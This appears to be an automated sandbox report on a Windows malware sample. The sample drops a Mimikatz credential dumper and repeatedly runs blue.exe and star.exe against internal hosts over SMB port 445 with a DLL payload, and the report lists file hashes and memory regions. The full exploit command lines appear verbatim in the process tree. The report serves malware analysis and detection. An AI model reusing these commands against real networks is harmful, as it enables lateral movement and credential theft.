Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/05/2024, 13:27

General

  • Target
    34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe
  • Size 2.4MB
  • Sample240511-qqfd8scf24
  • SHA256 6f69d97a8407fe9bab7cbb068386e7af2ff805d9509c0061c876a94d30a3f809
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • mimikatz is an open source tool to dump credentials on Windows 14 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 28 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\34cdbbda5f7c02ca179a366232adbb96_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:548
    • C:\Users\All Users\mmkt.exe
      "C:\Users\All Users\mmkt.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4352
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.0 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.0
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.0.0
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2764
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.0
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:12144
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.1 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6900
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.0.1
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:6972
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.1
        3⤵
        • Executes dropped EXE
        PID:14828
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.1.125 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.1.125
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:8604
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.1.125
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:8668
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.1.125
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:10324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.2 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.2
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:9676
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.0.2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:9752
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.2
        3⤵
        • Executes dropped EXE
        PID:17640
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.3 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.3
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:12336
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.0.3
        3⤵
        • Executes dropped EXE
        PID:12400
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.3
        3⤵
        • Executes dropped EXE
        PID:20404
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.4 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.4
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:15164
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.0.4
        3⤵
        • Executes dropped EXE
        PID:15228
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.4
        3⤵
        • Executes dropped EXE
        PID:22968
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.5 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.5
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:17948
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.0.5
        3⤵
        • Executes dropped EXE
        PID:18012
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.5
        3⤵
        • Executes dropped EXE
        PID:24616
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.6 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.6
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:864
      • C:\Users\ALLUSE~1\blue.exe
        blue.exe --TargetIp 10.127.0.6
        3⤵
        • Executes dropped EXE
        PID:20540
      • C:\Users\ALLUSE~1\star.exe
        star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.6
        3⤵
        • Executes dropped EXE
        PID:28608
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.7 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.7
      2⤵
        PID:23272
        • C:\Users\ALLUSE~1\blue.exe
          blue.exe --TargetIp 10.127.0.7
          3⤵
          • Executes dropped EXE
          PID:23340
        • C:\Users\ALLUSE~1\star.exe
          star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.7
          3⤵
          • Executes dropped EXE
          PID:31096
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.8 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.8
        2⤵
          PID:25736
          • C:\Users\ALLUSE~1\blue.exe
            blue.exe --TargetIp 10.127.0.8
            3⤵
            • Executes dropped EXE
            PID:25800
          • C:\Users\ALLUSE~1\star.exe
            star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.8
            3⤵
            • Executes dropped EXE
            PID:33804
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.9 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.9
          2⤵
            PID:20568
            • C:\Users\ALLUSE~1\blue.exe
              blue.exe --TargetIp 10.127.0.9
              3⤵
              • Executes dropped EXE
              PID:15212
            • C:\Users\ALLUSE~1\star.exe
              star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.9
              3⤵
              • Executes dropped EXE
              PID:36612
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.10 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.10
            2⤵
              PID:31416
              • C:\Users\ALLUSE~1\blue.exe
                blue.exe --TargetIp 10.127.0.10
                3⤵
                • Executes dropped EXE
                PID:31480
              • C:\Users\ALLUSE~1\star.exe
                star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.10
                3⤵
                • Executes dropped EXE
                PID:39332
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.11 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.11
              2⤵
                PID:34100
                • C:\Users\ALLUSE~1\blue.exe
                  blue.exe --TargetIp 10.127.0.11
                  3⤵
                  • Executes dropped EXE
                  PID:34164
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.12 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.12
                2⤵
                  PID:4928
                  • C:\Users\ALLUSE~1\blue.exe
                    blue.exe --TargetIp 10.127.0.12
                    3⤵
                    • Executes dropped EXE
                    PID:36904
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.127.0.13 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.127.0.13
                  2⤵
                    PID:39628
                    • C:\Users\ALLUSE~1\blue.exe
                      blue.exe --TargetIp 10.127.0.13
                      3⤵
                      • Executes dropped EXE
                      PID:39700

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      blue.exe

                      • Path C:\ProgramData\blue.exe
                      • Size 126KB
                      • SHA256 85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5
                      • MD5 SHA1 SHA512 SSDEEP

                      blue.xml

                      • Path C:\ProgramData\blue.xml
                      • Size 7KB
                      • SHA256 ea7caa08e115dbb438e29da46b47f54c62c29697617bae44464a9b63d9bddf18
                      • MD5 SHA1 SHA512 SSDEEP

                      coli-0.dll

                      • Path C:\ProgramData\coli-0.dll
                      • Size 15KB
                      • SHA256 0439628816cabe113315751e7113a9e9f720d7e499ffdd78acbac1ed8ba35887
                      • MD5 SHA1 SHA512 SSDEEP

                      mmkt.exe

                      • Path C:\ProgramData\mmkt.exe
                      • Size 1.3MB
                      • SHA256 8fd09186e5d2e2bce989f94b9a1ee4654382d396ca2e2680edacdcf8e21a4385
                      • MD5 SHA1 SHA512 SSDEEP

                      star.exe

                      • Path C:\ProgramData\star.exe
                      • Size 44KB
                      • SHA256 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13
                      • MD5 SHA1 SHA512 SSDEEP

                      tibe-2.dll

                      • Path C:\ProgramData\tibe-2.dll
                      • Size 232KB
                      • SHA256 ca63dbb99d9da431bf23aca80dc787df67bb01104fb9358a7813ed2fce479362
                      • MD5 SHA1 SHA512 SSDEEP

                      ucl.dll

                      • Path C:\ProgramData\ucl.dll
                      • Size 57KB
                      • SHA256 f0df80978b3a563077def7ba919e2f49e5883d24176e6b3371a8eef1efe2b06a
                      • MD5 SHA1 SHA512 SSDEEP

                      exma-1.dll

                      • Path C:\Users\ALLUSE~1\exma-1.dll
                      • Size 10KB
                      • SHA256 15292172a83f2e7f07114693ab92753ed32311dfba7d54fe36cc7229136874d9
                      • MD5 SHA1 SHA512 SSDEEP

                      libxml2.dll

                      • Path C:\Users\ALLUSE~1\libxml2.dll
                      • Size 807KB
                      • SHA256 aceb27720115a63b9d47e737fd878a61c52435ea4ec86ba8e58ee744bc85c4f3
                      • MD5 SHA1 SHA512 SSDEEP

                      posh-0.dll

                      • Path C:\Users\ALLUSE~1\posh-0.dll
                      • Size 11KB
                      • SHA256 cde45f7ff05f52b7215e4b0ea1f2f42ad9b42031e16a3be9772aa09e014bacdb
                      • MD5 SHA1 SHA512 SSDEEP

                      trch-1.dll

                      • Path C:\Users\ALLUSE~1\trch-1.dll
                      • Size 58KB
                      • SHA256 0259d41720f7084716a3b2bbe34ac6d3021224420f81a4e839b0b3401e5ef29f
                      • MD5 SHA1 SHA512 SSDEEP

                      trfo-2.dll

                      • Path C:\Users\ALLUSE~1\trfo-2.dll
                      • Size 29KB
                      • SHA256 b2a3172a1d676f00a62df376d8da805714553bb3221a8426f9823a8a5887daaa
                      • MD5 SHA1 SHA512 SSDEEP

                      tucl-1.dll

                      • Path C:\Users\ALLUSE~1\tucl-1.dll
                      • Size 9KB
                      • SHA256 cf25bdc6711a72713d80a4a860df724a79042be210930dcbfc522da72b39bb12
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/548-61-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-75-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-0-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-157-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-159-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-129-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-121-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-76-0x0000000000B36000-0x0000000000B37000-memory.dmp

                      memory/548-74-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-151-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-144-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-136-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-102-0x0000000000400000-0x0000000000B38000-memory.dmp

                      memory/548-1-0x0000000000B36000-0x0000000000B37000-memory.dmp

                      memory/2764-59-0x0000000000840000-0x0000000000851000-memory.dmp

                      memory/4352-35-0x0000000140000000-0x00000001400FB000-memory.dmp

                      memory/4352-33-0x0000000140000000-0x00000001400FB000-memory.dmp

                      memory/4352-34-0x0000000140000000-0x00000001400FB000-memory.dmp

                      memory/6972-73-0x0000000000BA0000-0x0000000000BB1000-memory.dmp

                      memory/8668-88-0x0000000002D00000-0x0000000002D11000-memory.dmp

                      memory/9752-100-0x0000000000660000-0x000000000072E000-memory.dmp

                      memory/10324-110-0x0000000001AB0000-0x0000000001AC1000-memory.dmp

                      memory/10324-113-0x00000000030E0000-0x00000000031C3000-memory.dmp

                      memory/10324-111-0x0000000003010000-0x00000000030DE000-memory.dmp

                      memory/12144-116-0x0000000003110000-0x00000000031DE000-memory.dmp

                      memory/12144-117-0x00000000031E0000-0x00000000032C3000-memory.dmp

                      memory/12144-115-0x0000000001BB0000-0x0000000001BC1000-memory.dmp

                      memory/12400-120-0x0000000000640000-0x0000000000651000-memory.dmp

                      memory/14828-122-0x0000000003530000-0x0000000003560000-memory.dmp

                      memory/14828-126-0x0000000003630000-0x0000000003713000-memory.dmp

                      memory/14828-124-0x0000000003560000-0x000000000362E000-memory.dmp

                      memory/15228-128-0x0000000000E40000-0x0000000000E51000-memory.dmp

                      memory/17640-131-0x0000000001940000-0x0000000001A0E000-memory.dmp

                      memory/17640-133-0x0000000002ED0000-0x0000000002FB3000-memory.dmp

                      memory/17640-130-0x00000000018C0000-0x00000000018D1000-memory.dmp

                      memory/18012-135-0x00000000005D0000-0x00000000005E1000-memory.dmp

                      memory/20404-139-0x00000000033B0000-0x000000000347E000-memory.dmp

                      memory/20404-137-0x0000000002920000-0x0000000002950000-memory.dmp

                      memory/20404-141-0x0000000003480000-0x0000000003563000-memory.dmp

                      memory/20540-143-0x0000000001D50000-0x0000000001D61000-memory.dmp

                      memory/22968-145-0x0000000001200000-0x0000000001211000-memory.dmp

                      memory/22968-146-0x0000000001310000-0x00000000013F3000-memory.dmp

                      memory/22968-149-0x0000000001220000-0x00000000012EE000-memory.dmp

                      memory/23340-150-0x0000000000F20000-0x0000000000F31000-memory.dmp

                      memory/24616-152-0x0000000001980000-0x0000000001991000-memory.dmp

                      memory/24616-154-0x0000000002F50000-0x000000000301E000-memory.dmp

                      memory/24616-153-0x00000000019A0000-0x0000000001A83000-memory.dmp

                      memory/25800-158-0x0000000000C70000-0x0000000000C81000-memory.dmp

                      memory/28608-161-0x0000000002810000-0x00000000028DE000-memory.dmp

                      memory/28608-163-0x00000000028E0000-0x00000000029C3000-memory.dmp

                      memory/28608-160-0x00000000012D0000-0x00000000012E1000-memory.dmp